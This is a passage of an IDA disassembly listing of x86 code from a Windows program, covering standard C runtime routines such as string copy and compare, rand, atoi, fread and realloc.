sub_416430	endp


; =============== S U B	R O U T	I N E =======================================



sub_416765	proc near		; CODE XREF: sub_402A3E+34p
					; sub_402A3E+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415D0A
		pop	ecx
		pop	ecx
		retn
sub_416765	endp


; =============== S U B	R O U T	I N E =======================================



sub_416773	proc near		; CODE XREF: sub_4167E0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_49429C
		call	sub_41B2F7
		mov	edx, dword_49429C
		pop	ecx
		mov	ecx, dword_494298
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_4167D2
		push	edx
		call	sub_41B2F7
		add	eax, 10h
		push	eax
		push	dword_49429C
		call	sub_416ED2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4167B5
		retn
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_416773+3Fj
		mov	ecx, dword_494298
		sub	ecx, dword_49429C
		mov	dword_49429C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_494298, ecx


loc_4167D2:				; CODE XREF: sub_416773+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_494298, 4
		retn
sub_416773	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167E0	proc near		; CODE XREF: sub_402B66+1Fp
					; sub_4158B1+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_416773
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_4167E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167F2	proc near		; DATA XREF: .data:00429418o
		push	80h
		call	sub_415CF8
		test	eax, eax
		pop	ecx
		mov	dword_49429C, eax
		jnz	short loc_416813
		push	18h
		call	sub_417FC6
		mov	eax, dword_49429C
		pop	ecx


loc_416813:				; CODE XREF: sub_4167F2+12j
		and	dword ptr [eax], 0
		mov	eax, dword_49429C
		mov	dword_494298, eax
		retn
sub_4167F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416821	proc near		; CODE XREF: sub_402D46+2Dp
					; sub_4034D1+19p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41AAED
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_416861
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41686E
; ---------------------------------------------------------------------------


loc_416861:				; CODE XREF: sub_416821+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41A9D8
		pop	ecx
		pop	ecx


loc_41686E:				; CODE XREF: sub_416821+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416821	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416880	proc near		; CODE XREF: sub_402D46+8p
					; .text:00403CC3p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4168A0


loc_41688C:				; CODE XREF: sub_416880+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41688C


loc_4168A0:				; CODE XREF: sub_416880+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_4034D1+5Cp
					; sub_4034D1+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416964
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4168DA


loc_4168CB:				; CODE XREF: sub_4168B0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41690B
		test	edi, 3
		jnz	short loc_4168CB


loc_4168DA:				; CODE XREF: sub_4168B0+19j
					; sub_4168B0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4168DA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416918
		test	ah, ah
		jz	short loc_416913
		test	eax, 0FF0000h
		jz	short loc_41690E
		test	eax, 0FF000000h
		jnz	short loc_4168DA


loc_41690B:				; CODE XREF: sub_4168B0+20j
		dec	edi
		jmp	short loc_41691B
; ---------------------------------------------------------------------------


loc_41690E:				; CODE XREF: sub_4168B0+52j
		sub	edi, 2
		jmp	short loc_41691B
; ---------------------------------------------------------------------------


loc_416913:				; CODE XREF: sub_4168B0+4Bj
		sub	edi, 3
		jmp	short loc_41691B
; ---------------------------------------------------------------------------


loc_416918:				; CODE XREF: sub_4168B0+47j
		sub	edi, 4


loc_41691B:				; CODE XREF: sub_4168B0+5Cj
					; sub_4168B0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416930
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41697C
		jmp	short loc_41694C
; ---------------------------------------------------------------------------


loc_416930:				; CODE XREF: sub_4168B0+75j
					; sub_4168B0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41696A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416960
		test	esi, 3
		jnz	short loc_416930
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41697C


loc_41694C:				; CODE XREF: sub_4168B0+7Ej
					; sub_4168B0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416960


loc_416953:				; CODE XREF: sub_4168B0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416962
		dec	ecx
		jnz	short loc_416953


loc_416960:				; CODE XREF: sub_4168B0+8Bj
					; sub_4168B0+A1j
		mov	[edi], cl


loc_416962:				; CODE XREF: sub_4168B0+ABj
		pop	ebx
		pop	esi


loc_416964:				; CODE XREF: sub_4168B0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41696A:				; CODE XREF: sub_4168B0+85j
					; sub_4168B0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416974:				; CODE XREF: sub_4168B0+E4j
					; sub_4168B0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41694C


loc_41697C:				; CODE XREF: sub_4168B0+7Cj
					; sub_4168B0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416974
		test	dl, dl
		jz	short loc_41696A
		test	dh, dh
		jz	short loc_4169C8
		test	edx, 0FF0000h
		jz	short loc_4169B8
		test	edx, 0FF000000h
		jnz	short loc_416974
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4169B8:				; CODE XREF: sub_4168B0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4169C8:				; CODE XREF: sub_4168B0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4168B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169E0	proc near		; CODE XREF: sub_403661+2A2p
					; sub_4087B3+22A9p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_416A01
		xor	eax, eax
		jmp	short loc_416A03
; ---------------------------------------------------------------------------


loc_416A01:				; CODE XREF: sub_4169E0+1Bj
		mov	eax, edi


loc_416A03:				; CODE XREF: sub_4169E0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4169E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416A10	proc near		; CODE XREF: sub_403661+6Ep
					; sub_403661+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416A93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416A34
		shr	ecx, 2
		jnz	short loc_416AA1
		jmp	short loc_416A55
; ---------------------------------------------------------------------------


loc_416A34:				; CODE XREF: sub_416A10+1Bj
					; sub_416A10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416A62
		test	al, al
		jz	short loc_416A6A
		test	esi, 3
		jnz	short loc_416A34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416AA1


loc_416A50:				; CODE XREF: sub_416A10+8Fj
		and	ebx, 3
		jz	short loc_416A62


loc_416A55:				; CODE XREF: sub_416A10+22j
					; sub_416A10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416A8E
		dec	ebx
		jnz	short loc_416A55


loc_416A62:				; CODE XREF: sub_416A10+2Bj
					; sub_416A10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416A6A:				; CODE XREF: sub_416A10+2Fj
		test	edi, 3
		jz	short loc_416A84


loc_416A72:				; CODE XREF: sub_416A10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416B06
		test	edi, 3
		jnz	short loc_416A72


loc_416A84:				; CODE XREF: sub_416A10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416AF7


loc_416A8B:				; CODE XREF: sub_416A10+7Fj
					; sub_416A10+F4j
		mov	[edi], al
		inc	edi


loc_416A8E:				; CODE XREF: sub_416A10+4Dj
		dec	ebx
		jnz	short loc_416A8B
		pop	ebx
		pop	esi


loc_416A93:				; CODE XREF: sub_416A10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: sub_416A10+A9j
					; sub_416A10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416A50


loc_416AA1:				; CODE XREF: sub_416A10+20j
					; sub_416A10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416A99
		test	dl, dl
		jz	short loc_416AEB
		test	dh, dh
		jz	short loc_416AE1
		test	edx, 0FF0000h
		jz	short loc_416AD7
		test	edx, 0FF000000h
		jnz	short loc_416A99
		mov	[edi], edx
		jmp	short loc_416AEF
; ---------------------------------------------------------------------------


loc_416AD7:				; CODE XREF: sub_416A10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416AEF
; ---------------------------------------------------------------------------


loc_416AE1:				; CODE XREF: sub_416A10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416AEF
; ---------------------------------------------------------------------------


loc_416AEB:				; CODE XREF: sub_416A10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416AEF:				; CODE XREF: sub_416A10+C5j
					; sub_416A10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416B01


loc_416AF7:				; CODE XREF: sub_416A10+79j
		xor	eax, eax


loc_416AF9:				; CODE XREF: sub_416A10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416AF9


loc_416B01:				; CODE XREF: sub_416A10+E5j
		and	ebx, 3
		jnz	short loc_416A8B


loc_416B06:				; CODE XREF: sub_416A10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B0E	proc near		; CODE XREF: .text:00403F34p
					; .text:00405BA4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_435A90, eax
		retn
sub_416B0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B18	proc near		; CODE XREF: sub_403B34+4Dp
					; sub_403B34+5Ap ...
		mov	eax, dword_435A90
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_435A90, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_416B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B36	proc near		; CODE XREF: sub_403B34+40p
					; .text:00405DB6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4158E0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B320
		add	esp, 10h
		leave
		retn
sub_416B36	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416B70	proc near		; CODE XREF: sub_40448A+1Dp
					; sub_405673+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_416BBC


loc_416B80:				; CODE XREF: sub_416B70+3Cj
					; sub_416B70+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_416BB4
		or	al, al
		jz	short loc_416BB0
		cmp	ah, [ecx+1]
		jnz	short loc_416BB4
		or	ah, ah
		jz	short loc_416BB0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_416BB4
		or	al, al
		jz	short loc_416BB0
		cmp	ah, [ecx+3]
		jnz	short loc_416BB4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_416B80
		mov	edi, edi


loc_416BB0:				; CODE XREF: sub_416B70+18j
					; sub_416B70+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416BB4:				; CODE XREF: sub_416B70+14j
					; sub_416B70+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416BBC:				; CODE XREF: sub_416B70+Ej
		test	edx, 1
		jz	short loc_416BD8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_416BB4
		inc	ecx
		or	al, al
		jz	short loc_416BB0
		test	edx, 2
		jz	short loc_416B80


loc_416BD8:				; CODE XREF: sub_416B70+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_416BB4
		or	al, al
		jz	short loc_416BB0
		cmp	ah, [ecx+1]
		jnz	short loc_416BB4
		or	ah, ah
		jz	short loc_416BB0
		add	ecx, 2
		jmp	short loc_416B80
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BF4	proc near		; CODE XREF: sub_404651+19p
					; sub_40E485+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41AAED
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_416C32
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_416C3F
; ---------------------------------------------------------------------------


loc_416C32:				; CODE XREF: sub_416BF4+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41A9D8
		pop	ecx
		pop	ecx


loc_416C3F:				; CODE XREF: sub_416BF4+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416BF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C44	proc near		; CODE XREF: sub_416CCF+4p
					; sub_41F1B2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_416C4C:				; CODE XREF: sub_416C44+34j
		cmp	dword_435E38, 1
		jle	short loc_416C64
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_416C73
; ---------------------------------------------------------------------------


loc_416C64:				; CODE XREF: sub_416C44+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_416C73:				; CODE XREF: sub_416C44+1Ej
		test	eax, eax
		jz	short loc_416C7A
		inc	edi
		jmp	short loc_416C4C
; ---------------------------------------------------------------------------


loc_416C7A:				; CODE XREF: sub_416C44+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_416C8A
		cmp	esi, 2Bh
		jnz	short loc_416C8E


loc_416C8A:				; CODE XREF: sub_416C44+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_416C8E:				; CODE XREF: sub_416C44+44j
		xor	ebx, ebx


loc_416C90:				; CODE XREF: sub_416C44+7Bj
		cmp	dword_435E38, 1
		jle	short loc_416CA5
		push	4
		push	esi
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_416CB0
; ---------------------------------------------------------------------------


loc_416CA5:				; CODE XREF: sub_416C44+53j
		mov	eax, off_435C2C
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416CB0:				; CODE XREF: sub_416C44+5Fj
		test	eax, eax
		jz	short loc_416CC1
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_416C90
; ---------------------------------------------------------------------------


loc_416CC1:				; CODE XREF: sub_416C44+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_416CCA
		neg	eax


loc_416CCA:				; CODE XREF: sub_416C44+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416C44	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CCF	proc near		; CODE XREF: .text:004046BFp
					; .text:0040483Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_416C44
		pop	ecx
		retn
sub_416CCF	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h]


loc_416CE3:				; CODE XREF: .text:00416D0Fj
		cmp	dword_435E38, 1
		jle	short loc_416CFB
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_416D0A
; ---------------------------------------------------------------------------


loc_416CFB:				; CODE XREF: .text:00416CEAj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_416D0A:				; CODE XREF: .text:00416CF9j
		test	eax, eax
		jz	short loc_416D11
		inc	edi
		jmp	short loc_416CE3
; ---------------------------------------------------------------------------


loc_416D11:				; CODE XREF: .text:00416D0Cj
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	[esp+10h], esi
		jz	short loc_416D23
		cmp	esi, 2Bh
		jnz	short loc_416D27


loc_416D23:				; CODE XREF: .text:00416D1Cj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_416D27:				; CODE XREF: .text:00416D21j
		xor	ebx, ebx
		xor	ebp, ebp


loc_416D2B:				; CODE XREF: .text:00416D76j
		cmp	dword_435E38, 1
		jle	short loc_416D40
		push	4
		push	esi
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D40:				; CODE XREF: .text:00416D32j
		mov	eax, off_435C2C
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416D4B:				; CODE XREF: .text:00416D3Ej
		test	eax, eax
		jz	short loc_416D78
		lea	eax, [esi-30h]
		push	0
		cdq
		mov	esi, eax
		push	0Ah
		push	ebp
		mov	[esp+24h], esi
		push	ebx
		mov	esi, edx
		call	sub_417E10
		mov	ecx, [esp+18h]
		add	ecx, eax
		adc	esi, edx
		mov	ebx, ecx
		mov	ebp, esi
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_416D2B
; ---------------------------------------------------------------------------


loc_416D78:				; CODE XREF: .text:00416D4Dj
		cmp	dword ptr [esp+10h], 2Dh
		mov	eax, ebx
		jnz	short loc_416D8C
		neg	eax
		mov	edx, ebp
		adc	edx, 0
		neg	edx
		jmp	short loc_416D8E
; ---------------------------------------------------------------------------


loc_416D8C:				; CODE XREF: .text:00416D7Fj
		mov	edx, ebp


loc_416D8E:				; CODE XREF: .text:00416D8Aj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416D94	proc near		; CODE XREF: sub_404A47+64p
					; sub_40636F+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_416DA9
		or	eax, 0FFFFFFFFh
		jmp	short loc_416DE3
; ---------------------------------------------------------------------------


loc_416DA9:				; CODE XREF: sub_416D94+Ej
		test	al, 83h
		jz	short loc_416DE1
		push	esi
		call	sub_41BF5F
		push	esi
		mov	edi, eax
		call	sub_41BEF9
		push	dword ptr [esi+10h]
		call	sub_41BE46
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_416DCF
		or	edi, 0FFFFFFFFh
		jmp	short loc_416DE1
; ---------------------------------------------------------------------------


loc_416DCF:				; CODE XREF: sub_416D94+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_416DE1
		push	eax
		call	sub_415D6C
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_416DE1:				; CODE XREF: sub_416D94+17j
					; sub_416D94+39j ...
		mov	eax, edi


loc_416DE3:				; CODE XREF: sub_416D94+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_416D94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DEA	proc near		; CODE XREF: sub_404A47+45p
					; sub_40636F+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416E0E
		xor	eax, eax
		jmp	loc_416EB7
; ---------------------------------------------------------------------------


loc_416E0E:				; CODE XREF: sub_416DEA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416E21
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416E2D
; ---------------------------------------------------------------------------


loc_416E21:				; CODE XREF: sub_416DEA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416E2D
; ---------------------------------------------------------------------------


loc_416E2A:				; CODE XREF: sub_416DEA+C4j
		mov	ecx, [ebp+arg_0]


loc_416E2D:				; CODE XREF: sub_416DEA+35j
					; sub_416DEA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416E5F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416E5F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416E44
		mov	edi, eax


loc_416E44:				; CODE XREF: sub_416DEA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_415960
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416EAA
; ---------------------------------------------------------------------------


loc_416E5F:				; CODE XREF: sub_416DEA+49j
					; sub_416DEA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416E92
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416E75
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416E75:				; CODE XREF: sub_416DEA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41C10A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416EBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416EC2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416EAA
; ---------------------------------------------------------------------------


loc_416E92:				; CODE XREF: sub_416DEA+78j
		push	esi
		call	sub_41C031
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416EC6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416EAA:				; CODE XREF: sub_416DEA+73j
					; sub_416DEA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416E2A
		mov	eax, [ebp+arg_8]


loc_416EB7:				; CODE XREF: sub_416DEA+1Fj
					; sub_416DEA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416EBC:				; CODE XREF: sub_416DEA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416EC6
; ---------------------------------------------------------------------------


loc_416EC2:				; CODE XREF: sub_416DEA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416EC6:				; CODE XREF: sub_416DEA+B2j
					; sub_416DEA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416EB7
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ED2	proc near		; CODE XREF: sub_404A47+2Ep
					; sub_416773+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_416EED
		push	[esp+10h+arg_4]
		call	sub_415CF8
		pop	ecx
		jmp	loc_416FED
; ---------------------------------------------------------------------------


loc_416EED:				; CODE XREF: sub_416ED2+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_416F03
		push	ebx
		call	sub_415D6C
		pop	ecx


loc_416EFC:				; CODE XREF: sub_416ED2+114j
		xor	eax, eax
		jmp	loc_416FED
; ---------------------------------------------------------------------------


loc_416F03:				; CODE XREF: sub_416ED2+21j
					; sub_416ED2+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_416FCE
		push	ebx
		call	sub_418317
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_416FAB
		cmp	esi, dword_435AC8
		ja	short loc_416F6B
		push	esi
		push	ebx
		push	ebp
		call	sub_418B22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416F3A
		mov	edi, ebx
		jmp	short loc_416F63
; ---------------------------------------------------------------------------


loc_416F3A:				; CODE XREF: sub_416ED2+62j
		push	esi
		call	sub_41866D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_416F6B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
